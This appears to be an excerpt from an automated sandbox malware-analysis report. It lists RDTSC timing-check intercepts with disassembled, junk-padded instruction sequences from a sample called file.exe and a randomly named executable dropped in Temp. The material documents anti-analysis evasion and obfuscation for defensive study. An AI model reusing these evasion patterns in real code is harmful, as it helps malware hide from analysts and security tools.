Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90657 second address: 4C9065D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9068B second address: 4C9068F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9068F second address: 4C90695 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90695 second address: 4C90703 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a pushad 0x0000000b push ecx 0x0000000c movsx edx, si 0x0000000f pop eax 0x00000010 call 00007FDE8C51D4DFh 0x00000015 mov ax, 92EFh 0x00000019 pop esi 0x0000001a popad 0x0000001b push eax 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f mov eax, edi 0x00000021 pushfd 0x00000022 jmp 00007FDE8C51D4E3h 0x00000027 add si, 812Eh 0x0000002c jmp 00007FDE8C51D4E9h 0x00000031 popfd 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90703 second address: 4C90713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90713 second address: 4C90776 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FDE8C51D4E4h 0x00000013 sbb cx, 9908h 0x00000018 jmp 00007FDE8C51D4DBh 0x0000001d popfd 0x0000001e push eax 0x0000001f push edx 0x00000020 pushfd 0x00000021 jmp 00007FDE8C51D4E6h 0x00000026 sub ax, 3B68h 0x0000002b jmp 00007FDE8C51D4DBh 0x00000030 popfd 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90776 second address: 4C90793 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 call dword ptr [76C886D4h] 0x0000000b mov edi, edi 0x0000000d push ebp 0x0000000e mov ebp, esp 0x00000010 push FFFFFFFEh 0x00000012 push 774FCA08h 0x00000017 push 7746AE00h 0x0000001c mov eax, dword ptr fs:[00000000h] 0x00000022 push eax 0x00000023 sub esp, 0Ch 0x00000026 push ebx 0x00000027 push esi 0x00000028 push edi 0x00000029 mov eax, dword ptr [7751B370h] 0x0000002e xor dword ptr [ebp-08h], eax 0x00000031 xor eax, ebp 0x00000033 push eax 0x00000034 lea eax, dword ptr [ebp-10h] 0x00000037 mov dword ptr fs:[00000000h], eax 0x0000003d mov dword ptr [ebp-18h], esp 0x00000040 mov eax, dword ptr fs:[00000018h] 0x00000046 test eax, eax 0x00000048 je 00007FDE8CECEB11h 0x0000004e mov dword ptr [ebp-04h], 00000000h 0x00000055 mov edx, dword ptr [ebp+08h] 0x00000058 mov dword ptr [eax+00000BF4h], edx 0x0000005e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000065 test edx, edx 0x00000067 je 00007FDE8CE8B569h 0x0000006d xor edx, edx 0x0000006f jmp 00007FDE8CE8B4A8h 0x00000071 mov eax, edx 0x00000073 mov ecx, dword ptr [ebp-10h] 0x00000076 mov dword ptr fs:[00000000h], ecx 0x0000007d pop ecx 0x0000007e pop edi 0x0000007f pop esi 0x00000080 pop ebx 0x00000081 mov esp, ebp 0x00000083 pop ebp 0x00000084 retn 0004h 0x00000087 push eax 0x00000088 push edx 0x00000089 jmp 00007FDE8CE8B4D0h 0x0000008e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90793 second address: 4C907F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007FDE8C51D4E1h 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e test eax, eax 0x00000010 pushad 0x00000011 movsx ebx, si 0x00000014 jmp 00007FDE8C51D4E4h 0x00000019 popad 0x0000001a jg 00007FDEFE4BB19Ah 0x00000020 pushad 0x00000021 mov ecx, 781F32EDh 0x00000026 jmp 00007FDE8C51D4DAh 0x0000002b popad 0x0000002c js 00007FDE8C51D577h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007FDE8C51D4DAh 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C907F3 second address: 4C90802 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90802 second address: 4C9083E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f call 00007FDE8C51D4E3h 0x00000014 pop esi 0x00000015 mov dx, 598Ch 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9083E second address: 4C90860 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FDEFEE2910Dh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90860 second address: 4C90864 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90864 second address: 4C90868 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90868 second address: 4C9086E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9086E second address: 4C908FA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FDE8CE8B4D0h 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007FDE8CE8B4D0h 0x00000019 xchg eax, esi 0x0000001a jmp 00007FDE8CE8B4D0h 0x0000001f push eax 0x00000020 jmp 00007FDE8CE8B4CBh 0x00000025 xchg eax, esi 0x00000026 pushad 0x00000027 mov edx, esi 0x00000029 mov edx, eax 0x0000002b popad 0x0000002c nop 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov bl, 16h 0x00000032 pushfd 0x00000033 jmp 00007FDE8CE8B4D0h 0x00000038 and eax, 04556328h 0x0000003e jmp 00007FDE8CE8B4CBh 0x00000043 popfd 0x00000044 popad 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C908FA second address: 4C90900 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90900 second address: 4C90904 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90904 second address: 4C90908 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90908 second address: 4C90917 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov ah, bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90917 second address: 4C9093C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FDE8C51D4DDh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C9093C second address: 4C9096F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov ax, 8273h 0x0000000f mov ax, D2CFh 0x00000013 popad 0x00000014 push eax 0x00000015 pushad 0x00000016 movsx ebx, cx 0x00000019 call 00007FDE8CE8B4CCh 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90191 second address: 4C901A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C901A0 second address: 4C901A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C901A6 second address: 4C901AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C901AA second address: 4C901AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90D94 second address: 4C90E9E instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FDE8C51D4E6h 0x00000008 sbb cx, 2D98h 0x0000000d jmp 00007FDE8C51D4DBh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007FDE8C51D4E6h 0x0000001c push eax 0x0000001d jmp 00007FDE8C51D4DBh 0x00000022 xchg eax, ebp 0x00000023 jmp 00007FDE8C51D4E6h 0x00000028 mov ebp, esp 0x0000002a jmp 00007FDE8C51D4E0h 0x0000002f cmp dword ptr [76C8459Ch], 05h 0x00000036 pushad 0x00000037 pushfd 0x00000038 jmp 00007FDE8C51D4DEh 0x0000003d jmp 00007FDE8C51D4E5h 0x00000042 popfd 0x00000043 pushfd 0x00000044 jmp 00007FDE8C51D4E0h 0x00000049 add ah, 00000018h 0x0000004c jmp 00007FDE8C51D4DBh 0x00000051 popfd 0x00000052 popad 0x00000053 je 00007FDEFE4AB07Ah 0x00000059 pushad 0x0000005a mov dl, ch 0x0000005c push eax 0x0000005d push edx 0x0000005e pushfd 0x0000005f jmp 00007FDE8C51D4E7h 0x00000064 or eax, 4BEF308Eh 0x0000006a jmp 00007FDE8C51D4E9h 0x0000006f popfd 0x00000070 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90E9E second address: 4C90EBA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pop ebp 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90EBA second address: 4C90EBE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90EBE second address: 4C90EC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4C90EC2 second address: 4C90EC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0084 second address: 4CA0096 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FDE8CE8B4CEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA0096 second address: 4CA009A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA009A second address: 4CA00C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007FDEFEE10F96h 0x0000000d push 76C22B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [76C84538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 jmp 00007FDE8CE8B4D7h 0x00000057 sub esi, esi 0x00000059 push eax 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d pushad 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CA00C6 second address: 4CA00D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0819 second address: 4CB082F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB082F second address: 4CB0833 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0833 second address: 4CB084E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB084E second address: 4CB0877 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FDE8C51D4DFh 0x00000009 jmp 00007FDE8C51D4E3h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0877 second address: 4CB0893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FDE8CE8B4D2h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0893 second address: 4CB090A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FDE8C51D4E6h 0x0000000f mov ebp, esp 0x00000011 pushad 0x00000012 mov ebx, ecx 0x00000014 mov edi, eax 0x00000016 popad 0x00000017 xchg eax, esi 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007FDE8C51D4E2h 0x0000001f adc cx, 64D8h 0x00000024 jmp 00007FDE8C51D4DBh 0x00000029 popfd 0x0000002a mov ecx, 638EFF8Fh 0x0000002f popad 0x00000030 push eax 0x00000031 jmp 00007FDE8C51D4E5h 0x00000036 xchg eax, esi 0x00000037 push eax 0x00000038 push edx 0x00000039 pushad 0x0000003a mov bh, 4Ch 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB090A second address: 4CB09B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, dword ptr [ebp+0Ch] 0x0000000c jmp 00007FDE8CE8B4CEh 0x00000011 test esi, esi 0x00000013 jmp 00007FDE8CE8B4D0h 0x00000018 je 00007FDEFEDF8F3Bh 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FDE8CE8B4CEh 0x00000025 or eax, 19B92B28h 0x0000002b jmp 00007FDE8CE8B4CBh 0x00000030 popfd 0x00000031 mov eax, 41CA381Fh 0x00000036 popad 0x00000037 cmp dword ptr [76C8459Ch], 05h 0x0000003e jmp 00007FDE8CE8B4D2h 0x00000043 je 00007FDEFEE10FD4h 0x00000049 pushad 0x0000004a pushfd 0x0000004b jmp 00007FDE8CE8B4CEh 0x00000050 xor cl, FFFFFFB8h 0x00000053 jmp 00007FDE8CE8B4CBh 0x00000058 popfd 0x00000059 popad 0x0000005a push edx 0x0000005b push eax 0x0000005c push edx 0x0000005d push eax 0x0000005e push edx 0x0000005f push eax 0x00000060 push edx 0x00000061 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09B6 second address: 4CB09BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09BA second address: 4CB09C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09C0 second address: 4CB09C6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB09FB second address: 4CB0A01 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A01 second address: 4CB0A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4E4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007FDE8C51D4E0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov dh, ah 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A33 second address: 4CB0A39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4CB0A39 second address: 4CB0A57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8C51D4DEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ecx, edi 0x00000011 mov cx, bx 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 55E437 second address: 55DCAC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c or dword ptr [ebp+122D252Eh], edx 0x00000012 push dword ptr [ebp+122D0BD1h] 0x00000018 sub dword ptr [ebp+122D3BCEh], ebx 0x0000001e call dword ptr [ebp+122D25E8h] 0x00000024 pushad 0x00000025 mov dword ptr [ebp+122D283Dh], ecx 0x0000002b xor eax, eax 0x0000002d mov dword ptr [ebp+122D283Dh], edx 0x00000033 mov edx, dword ptr [esp+28h] 0x00000037 add dword ptr [ebp+122D2802h], eax 0x0000003d sub dword ptr [ebp+122D2825h], edi 0x00000043 mov dword ptr [ebp+122D2D72h], eax 0x00000049 cld 0x0000004a mov esi, 0000003Ch 0x0000004f sub dword ptr [ebp+122D2825h], ecx 0x00000055 add esi, dword ptr [esp+24h] 0x00000059 jmp 00007FDE8CE8B4CAh 0x0000005e clc 0x0000005f lodsw 0x00000061 jmp 00007FDE8CE8B4CAh 0x00000066 add eax, dword ptr [esp+24h] 0x0000006a jmp 00007FDE8CE8B4CCh 0x0000006f mov ebx, dword ptr [esp+24h] 0x00000073 jmp 00007FDE8CE8B4D1h 0x00000078 nop 0x00000079 jmp 00007FDE8CE8B4D7h 0x0000007e push eax 0x0000007f push eax 0x00000080 push edx 0x00000081 jmp 00007FDE8CE8B4CFh 0x00000086 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 55DCAC second address: 55DCB1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E20D2 second address: 6E20F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FDE8CE8B4CCh 0x0000000b jne 00007FDE8CE8B4C6h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 pop eax 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E20F1 second address: 6E2104 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FDE8C51D4DAh 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E23EB second address: 6E23EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E537E second address: 6E5382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5382 second address: 6E5390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FDE8CE8B4C6h 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5390 second address: 6E5394 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5394 second address: 6E53A8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push esi 0x0000000c jo 00007FDE8CE8B4CCh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E53A8 second address: 6E53C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 mov eax, dword ptr [eax] 0x00000007 pushad 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FDE8C51D4DEh 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E53C4 second address: 6E53D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FDE8CE8B4C6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E53D8 second address: 55DCAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pop eax 0x00000008 and edi, 2AF72374h 0x0000000e push dword ptr [ebp+122D0BD1h] 0x00000014 cmc 0x00000015 call dword ptr [ebp+122D25E8h] 0x0000001b pushad 0x0000001c mov dword ptr [ebp+122D283Dh], ecx 0x00000022 xor eax, eax 0x00000024 mov dword ptr [ebp+122D283Dh], edx 0x0000002a mov edx, dword ptr [esp+28h] 0x0000002e add dword ptr [ebp+122D2802h], eax 0x00000034 sub dword ptr [ebp+122D2825h], edi 0x0000003a mov dword ptr [ebp+122D2D72h], eax 0x00000040 cld 0x00000041 mov esi, 0000003Ch 0x00000046 sub dword ptr [ebp+122D2825h], ecx 0x0000004c add esi, dword ptr [esp+24h] 0x00000050 jmp 00007FDE8C51D4DAh 0x00000055 clc 0x00000056 lodsw 0x00000058 jmp 00007FDE8C51D4DAh 0x0000005d add eax, dword ptr [esp+24h] 0x00000061 jmp 00007FDE8C51D4DCh 0x00000066 mov ebx, dword ptr [esp+24h] 0x0000006a jmp 00007FDE8C51D4E1h 0x0000006f nop 0x00000070 jmp 00007FDE8C51D4E7h 0x00000075 push eax 0x00000076 push eax 0x00000077 push edx 0x00000078 jmp 00007FDE8C51D4DFh 0x0000007d rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E54E0 second address: 6E54F6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FDE8CE8B4CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5533 second address: 6E5538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\94JSCZGRDUWCLDEBY2HC1S58YAX1.exe	RDTSC instruction interceptor: First address: 6E5538 second address: 6E5587 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add edi, 67175A91h 0x00000012 push 00000000h 0x00000014 call 00007FDE8CE8B4D8h 0x00000019 pushad 0x0000001a mov di, dx 0x0000001d mov si, 7646h 0x00000021 popad 0x00000022 pop edi 0x00000023 push 00864FB4h 0x00000028 push eax 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FDE8CE8B4D1h 0x00000030 rdtsc
